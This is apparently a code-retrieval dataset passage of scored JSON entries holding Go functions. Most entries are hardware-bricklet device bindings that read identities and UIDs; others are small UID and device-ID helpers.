bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetIdentity), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 33 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 33)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tuid = ByteSliceToString(resultBuf.Next(8))\n\t\tconnectedUid = ByteSliceToString(resultBuf.Next(8))\n\t\tposition = rune(resultBuf.Next(1)[0])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &hardwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &firmwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &deviceIdentifier)\n\n\t}\n\n\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, nil\n}", "title": "" }, { "docid": "7b603d867be309ae973fba3fca92b475", "score": "0.6432389", "text": "func (device *IndustrialDigitalIn4Bricklet) GetIdentity() (uid string, connectedUid string, position rune, hardwareVersion [3]uint8, firmwareVersion [3]uint8, deviceIdentifier uint16, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetIdentity), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 33 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 33)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tuid = ByteSliceToString(resultBuf.Next(8))\n\t\tconnectedUid = ByteSliceToString(resultBuf.Next(8))\n\t\tposition = rune(resultBuf.Next(1)[0])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &hardwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &firmwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &deviceIdentifier)\n\n\t}\n\n\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, nil\n}", "title": "" }, { "docid": "fc1b95e3cffff9ff3a75a2fa9f86f38c", "score": "0.6393658", "text": "func (device *CANBricklet) GetIdentity() (uid string, connectedUid string, position rune, hardwareVersion [3]uint8, firmwareVersion [3]uint8, deviceIdentifier uint16, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetIdentity), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 33 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 33)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tuid = ByteSliceToString(resultBuf.Next(8))\n\t\tconnectedUid = ByteSliceToString(resultBuf.Next(8))\n\t\tposition = rune(resultBuf.Next(1)[0])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &hardwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &firmwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &deviceIdentifier)\n\n\t}\n\n\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, nil\n}", "title": "" }, { "docid": "045aaa9f8981c1a86c23ecff0cb9db9e", "score": "0.6389021", "text": "func (device *RGBLEDMatrixBricklet) GetIdentity() (uid string, connectedUid string, position rune, hardwareVersion [3]uint8, firmwareVersion [3]uint8, deviceIdentifier uint16, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetIdentity), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 33 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 33)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tuid = ByteSliceToString(resultBuf.Next(8))\n\t\tconnectedUid = ByteSliceToString(resultBuf.Next(8))\n\t\tposition = rune(resultBuf.Next(1)[0])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &hardwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &firmwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &deviceIdentifier)\n\n\t}\n\n\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, nil\n}", "title": "" }, { "docid": "59bea13bc8e7b5be6fc93da0a82eb541", "score": "0.5655877", "text": "func (device *RGBLEDMatrixBricklet) ReadUID() (uid uint32, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionReadUID), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 12 {\n\t\t\treturn uid, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 12)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &uid)\n\n\t}\n\n\treturn uid, nil\n}", "title": "" }, { "docid": "ee83732c0dfde26e80b5826bb57e4f55", "score": "0.5507265", "text": "func (device *MultiTouchV2Bricklet) ReadUID() (uid uint32, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionReadUID), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 12 {\n\t\t\treturn uid, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 12)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &uid)\n\n\t}\n\n\treturn uid, nil\n}", "title": "" }, { "docid": "616e50301d0bdc9f09e803c50d5c86c2", "score": "0.54747164", "text": "func (device *EPaper296x128Bricklet) ReadUID() (uid uint32, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionReadUID), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 12 {\n\t\t\treturn uid, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 12)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &uid)\n\n\t}\n\n\treturn uid, nil\n}", "title": "" }, { "docid": "95fc3980fee7199d451dc12c02cd0582", "score": "0.54537153", "text": "func (backend *OpenGrokBackend) UID() string {\n\treturn backend.addr\n}", "title": "" }, { "docid": "3df24e7717638a4dd68fb1bed279a0f0", "score": "0.53952277", "text": "func getUid(device *udev.Udevice) string {\n\treturn NDMPrefix +\n\t\tutil.Hash(device.PropertyValue(udev.UDEV_WWN)+\n\t\t\tdevice.PropertyValue(udev.UDEV_MODEL)+\n\t\t\tdevice.PropertyValue(udev.UDEV_SERIAL)+\n\t\t\tdevice.PropertyValue(udev.UDEV_VENDOR))\n}", "title": "" }, { "docid": "257cd3519cfd337b23a16c3199d00bf7", "score": "0.5222019", "text": "func (f GouBanJia) UID() string {\n\treturn \"GouBanJia\"\n}", "title": "" }, { "docid": "eaca029ce0b34ff90ed6d68c28274724", "score": "0.52151376", "text": "func (device Vl6180x) GetIdentification() (*Vl6180identification, error) {\n\tvar result Vl6180identification\n\tvar err error\n\n\tif result.Model, err = device.ReadByteRegister(registerIdentificationModelID); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif result.ModelRevMajor, err = device.ReadByteRegister(registerIdentificationModelRevMajor); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif result.ModelRevMinor, err = device.ReadByteRegister(registerIdentificationModelRevMinor); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif result.ModuleRevMajor, err = device.ReadByteRegister(registerIdentificationModuleRevMajor); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif result.ModuleRevMinor, err = device.ReadByteRegister(registerIdentificationModuleRevMinor); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif result.Date, err = device.ReadWordRegister(registerIdentificationDateHi); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif result.Time, err = device.ReadWordRegister(registerIdentificationTime); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &result, nil\n}", "title": "" }, { "docid": "7246ab411c5d0ba9534f0e89dc429506", "score": "0.50371724", "text": "func (c Component) UUID() string {\n\treturn c.uuid\n}", "title": "" }, { "docid": "4969b43f4c8b8e72addb2a88b3da653a", "score": "0.5014533", "text": "func (device *JoystickBricklet) GetPosition() (x int16, y int16, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetPosition), buf.Bytes())\n\tif err != nil {\n\t\treturn x, y, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 12 {\n\t\t\treturn x, y, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 12)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn x, y, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &x)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &y)\n\n\t}\n\n\treturn x, y, nil\n}", "title": "" }, { "docid": "a65fb9018c1b90391e9283f79ce01944", "score": "0.49970627", "text": "func UID() string {\n\tuid := uuid.New()\n\treturn uid.String()\n}", "title": "" }, { "docid": "e3af2de5eca8eeb36481ef44e34f4a93", "score": "0.49722123", "text": "func (device *RGBLEDMatrixBricklet) WriteUID(uid uint32) (err error) {\n\tvar buf bytes.Buffer\n\tbinary.Write(&buf, binary.LittleEndian, uid)\n\n\tresultBytes, err := device.device.Set(uint8(FunctionWriteUID), buf.Bytes())\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 8 {\n\t\t\treturn fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 8)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tbytes.NewBuffer(resultBytes[8:])\n\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "a34eb5e5dce25af8db12106b892eafc8", "score": "0.4900373", "text": "func New(uid string, ipcon *ipconnection.IPConnection) (LCD16x2Bricklet, error) {\n\tinternalIPCon := ipcon.GetInternalHandle().(IPConnection)\n\tdev, err := NewDevice([3]uint8{2, 0, 1}, uid, &internalIPCon, 0, DeviceIdentifier, DeviceDisplayName)\n\tif err != nil {\n\t\treturn LCD16x2Bricklet{}, err\n\t}\n\tdev.ResponseExpected[FunctionWriteLine] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionClearDisplay] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionBacklightOn] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionBacklightOff] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionIsBacklightOn] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetConfig] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetConfig] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionIsButtonPressed] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetCustomCharacter] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetCustomCharacter] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetIdentity] = ResponseExpectedFlagAlwaysTrue\n\treturn LCD16x2Bricklet{dev}, nil\n}", "title": "" }, { "docid": "132c69418c7f34471c23c4a2b8a95543", "score": "0.48844615", "text": "func UID() string {\n\t// Get time part\n\tns := uint64(time.Now().UnixNano())\n\n\t// Get rand part\n\trnd := rand.New(rand.NewSource(time.Now().UnixNano()))\n\trd := rnd.Uint64()\n\n\t// Result string\n\tvar output bytes.Buffer\n\n\t// Rand part\n\tfor i := 0; i < 7; i++ {\n\t\toutput.WriteRune(alph[rd&63])\n\t\trd >>= 6\n\t}\n\n\t// Time part\n\tfor i := 0; i < 5; i++ {\n\t\toutput.WriteRune(alph[ns&63])\n\t\tns >>= 6\n\t}\n\n\treturn output.String()\n}", "title": "" }, { "docid": "7399c00da7420ebf69788a55a26ab67d", "score": "0.48772472", "text": "func Uuid() string {\n\treturn id.NewV4().String()\n}", "title": "" }, { "docid": "2d054d718eb822870dfefdc6cb5c10b4", "score": "0.4866881", "text": "func DecodeDeviceID(rdev uint32) (uint16, uint32) {\n\tmajor := uint16((rdev >> 8) & 0xfff)\n\tminor := (rdev & 0xff) | ((rdev >> 20) << 8)\n\treturn major, minor\n}", "title": "" }, { "docid": "138a773429f50a26b97f57e7d2de04a3", "score": "0.48406896", "text": "func New(uid string, ipcon *ipconnection.IPConnection) (JoystickBricklet, error) {\n\tinternalIPCon := ipcon.GetInternalHandle().(IPConnection)\n\tdev, err := NewDevice([3]uint8{2, 0, 0}, uid, &internalIPCon, 0, DeviceIdentifier, DeviceDisplayName)\n\tif err != nil {\n\t\treturn JoystickBricklet{}, err\n\t}\n\tdev.ResponseExpected[FunctionGetPosition] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionIsPressed] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetAnalogValue] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionCalibrate] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionSetPositionCallbackPeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetPositionCallbackPeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetAnalogValueCallbackPeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetAnalogValueCallbackPeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetPositionCallbackThreshold] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetPositionCallbackThreshold] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetAnalogValueCallbackThreshold] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetAnalogValueCallbackThreshold] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetDebouncePeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetDebouncePeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetIdentity] = ResponseExpectedFlagAlwaysTrue\n\treturn JoystickBricklet{dev}, nil\n}", "title": "" }, { "docid": "5f33051f70a291edd00fd16bdc6a7c70", "score": "0.48399302", "text": "func (o HoneypotProbeOutput) Uuid() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *HoneypotProbe) pulumi.StringPtrOutput { return v.Uuid }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "7f4cddc244d50c86cfdcac7dbb81c9a6", "score": "0.48228768", "text": "func (resp *response) DeviceID() string {\n\tresp.checkMatches(commandDeviceID)\n\treturn fmt.Sprintf(\"%02d%02d\", resp.Data[1], resp.Data[2])\n}", "title": "" }, { "docid": "e8730167f06aa6ca6c2c14a8f60f63f8", "score": "0.47850397", "text": "func InitializeDeviceID() {\n\tiface, err := net.InterfaceByIndex(defaultNet)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tnetaddr := []byte(iface.HardwareAddr.String())\n\thashaddr := sha256.Sum256(netaddr)\n\tDeviceID = hex.EncodeToString(hashaddr[0:7])\n\n\tlog.Printf(\"devid: %s\\n\", DeviceID)\n}", "title": "" }, { "docid": "2acae79b7265ff74a5c095850ebfcfed", "score": "0.47823304", "text": "func LocateOnSocket(cpuid string) (id string, err error) {\n\tpath := filepath.Join(SysCPU, \"cpu\"+cpuid, \"topology/physical_package_id\")\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tid = strings.TrimSpace(string(data))\n\treturn id, err\n}", "title": "" }, { "docid": "c1598584283db69022c76a33c638ecf5", "score": "0.47713253", "text": "func New(uid string, ipcon *ipconnection.IPConnection) (CANBricklet, error) {\n\tinternalIPCon := ipcon.GetInternalHandle().(IPConnection)\n\tdev, err := NewDevice([3]uint8{2, 0, 1}, uid, &internalIPCon, 0, DeviceIdentifier, DeviceDisplayName)\n\tif err != nil {\n\t\treturn CANBricklet{}, err\n\t}\n\tdev.ResponseExpected[FunctionWriteFrame] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionReadFrame] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionEnableFrameReadCallback] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionDisableFrameReadCallback] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionIsFrameReadCallbackEnabled] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetConfiguration] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetConfiguration] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetReadFilter] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetReadFilter] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetErrorLog] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetFrameReadableCallbackConfiguration] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetFrameReadableCallbackConfiguration] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetIdentity] = ResponseExpectedFlagAlwaysTrue\n\treturn CANBricklet{dev}, nil\n}", "title": "" }, { "docid": "6acf6efe6cb4334c4076c1f9c84aee09", "score": "0.47543308", "text": "func (*uuidProvider) uid() string {\n\treturn prefix + uuid.NewString()\n}", "title": "" }, { "docid": "33634f2cb1b5e8f08f4d6c96a081ad85", "score": "0.47437993", "text": "func (device *MultiTouchV2Bricklet) WriteUID(uid uint32) (err error) {\n\tvar buf bytes.Buffer\n\tbinary.Write(&buf, binary.LittleEndian, uid)\n\n\tresultBytes, err := device.device.Set(uint8(FunctionWriteUID), buf.Bytes())\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 8 {\n\t\t\treturn fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 8)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tbytes.NewBuffer(resultBytes[8:])\n\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ed5e42484cf7d95304e6a7811c7c1b1c", "score": "0.473107", "text": "func createUID() string {\n\tc := sha1.New()\n\tr := createRandom()\n\tio.WriteString(c, string(r))\n\ts := fmt.Sprintf(\"%x\", c.Sum(nil))\n\treturn \"drone-\" + s[0:10]\n}", "title": "" }, { "docid": "ed5e42484cf7d95304e6a7811c7c1b1c", "score": "0.473107", "text": "func createUID() string {\n\tc := sha1.New()\n\tr := createRandom()\n\tio.WriteString(c, string(r))\n\ts := fmt.Sprintf(\"%x\", c.Sum(nil))\n\treturn \"drone-\" + s[0:10]\n}", "title": "" }, { "docid": "f1b7fb830328956e0923b0891ca04cc4", "score": "0.46838862", "text": "func New(uid string, ipcon *ipconnection.IPConnection) (IndustrialDigitalIn4Bricklet, error) {\n\tinternalIPCon := ipcon.GetInternalHandle().(IPConnection)\n\tdev, err := NewDevice([3]uint8{2, 0, 1}, uid, &internalIPCon, 0, DeviceIdentifier, DeviceDisplayName)\n\tif err != nil {\n\t\treturn IndustrialDigitalIn4Bricklet{}, err\n\t}\n\tdev.ResponseExpected[FunctionGetValue] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetGroup] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetGroup] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetAvailableForGroup] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetDebouncePeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetDebouncePeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetInterrupt] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetInterrupt] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetEdgeCount] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetEdgeCountConfig] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetEdgeCountConfig] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetIdentity] = ResponseExpectedFlagAlwaysTrue\n\treturn IndustrialDigitalIn4Bricklet{dev}, nil\n}", "title": "" }, { "docid": "46570b3a0a637fe857b15cf3f78e2788", "score": "0.4674513", "text": "func (device *EPaper296x128Bricklet) WriteUID(uid uint32) (err error) {\n\tvar buf bytes.Buffer\n\tbinary.Write(&buf, binary.LittleEndian, uid)\n\n\tresultBytes, err := device.device.Set(uint8(FunctionWriteUID), buf.Bytes())\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 8 {\n\t\t\treturn fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 8)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tbytes.NewBuffer(resultBytes[8:])\n\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "168e719fd8521f5ae8ba89e5439693cc", "score": "0.46336776", "text": "func (recv *Mount) GetUuid() string {\n\tretC := C.g_mount_get_uuid((*C.GMount)(recv.native))\n\tretGo := C.GoString(retC)\n\tdefer C.free(unsafe.Pointer(retC))\n\n\treturn retGo\n}", "title": "" }, { "docid": "c921b79154e5fb4eebb4c2f720925f56", "score": "0.46201268", "text": "func (b basicserver) GetUniqueIdentifier() string { return b.id }", "title": "" }, { "docid": "11ff320caa6931d2de70b3cf2f547ee7", "score": "0.461064", "text": "func (_class VGPUClass) GetUUID(sessionID SessionRef, self VGPURef) (_retval string, _err error) {\n\t_method := \"VGPU.get_uuid\"\n\t_sessionIDArg, _err := convertSessionRefToXen(fmt.Sprintf(\"%s(%s)\", _method, \"session_id\"), sessionID)\n\tif _err != nil {\n\t\treturn\n\t}\n\t_selfArg, _err := convertVGPURefToXen(fmt.Sprintf(\"%s(%s)\", _method, \"self\"), self)\n\tif _err != nil {\n\t\treturn\n\t}\n\t_result, _err := _class.client.APICall(_method, _sessionIDArg, _selfArg)\n\tif _err != nil {\n\t\treturn\n\t}\n\t_retval, _err = convertStringToGo(_method + \" -> \", _result.Value)\n\treturn\n}", "title": "" }, { "docid": "c69a8eac6f75c1ba8daae6428d6fad56", "score": "0.46067953", "text": "func New(uid string, ipcon *ipconnection.IPConnection) (RGBLEDMatrixBricklet, error) {\n\tinternalIPCon := ipcon.GetInternalHandle().(IPConnection)\n\tdev, err := NewDevice([3]uint8{2, 0, 0}, uid, &internalIPCon, 0, DeviceIdentifier, DeviceDisplayName)\n\tif err != nil {\n\t\treturn RGBLEDMatrixBricklet{}, err\n\t}\n\tdev.ResponseExpected[FunctionSetRed] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetRed] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetGreen] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetGreen] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetBlue] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetBlue] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetFrameDuration] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetFrameDuration] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionDrawFrame] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetSupplyVoltage] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetSPITFPErrorCount] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetBootloaderMode] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetBootloaderMode] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetWriteFirmwarePointer] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionWriteFirmware] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetStatusLEDConfig] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetStatusLEDConfig] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetChipTemperature] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionReset] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionWriteUID] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionReadUID] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetIdentity] = ResponseExpectedFlagAlwaysTrue\n\treturn RGBLEDMatrixBricklet{dev}, nil\n}", "title": "" }, { "docid": "b116df1069832b7b98ee845b69d75f88", "score": "0.45993942", "text": "func Uuid() string {\n\treturn ulid.MustNew(ulid.Now(), entropy).String()\n}", "title": "" }, { "docid": "2ce0ead9bd2764af34aec2ba44422475", "score": "0.4582539", "text": "func (m matchTicket) Device() string {\n\treturn m.t.DeviceID()\n}", "title": "" }, { "docid": "03730b3c09a22d0e9208a31cf579cb46", "score": "0.4580898", "text": "func New(uid string, ipcon *ipconnection.IPConnection) (VoltageCurrentBricklet, error) {\n\tinternalIPCon := ipcon.GetInternalHandle().(IPConnection)\n\tdev, err := NewDevice([3]uint8{2, 0, 0}, uid, &internalIPCon, 0, DeviceIdentifier, DeviceDisplayName)\n\tif err != nil {\n\t\treturn VoltageCurrentBricklet{}, err\n\t}\n\tdev.ResponseExpected[FunctionGetCurrent] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetVoltage] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetPower] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetConfiguration] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetConfiguration] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetCalibration] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetCalibration] = 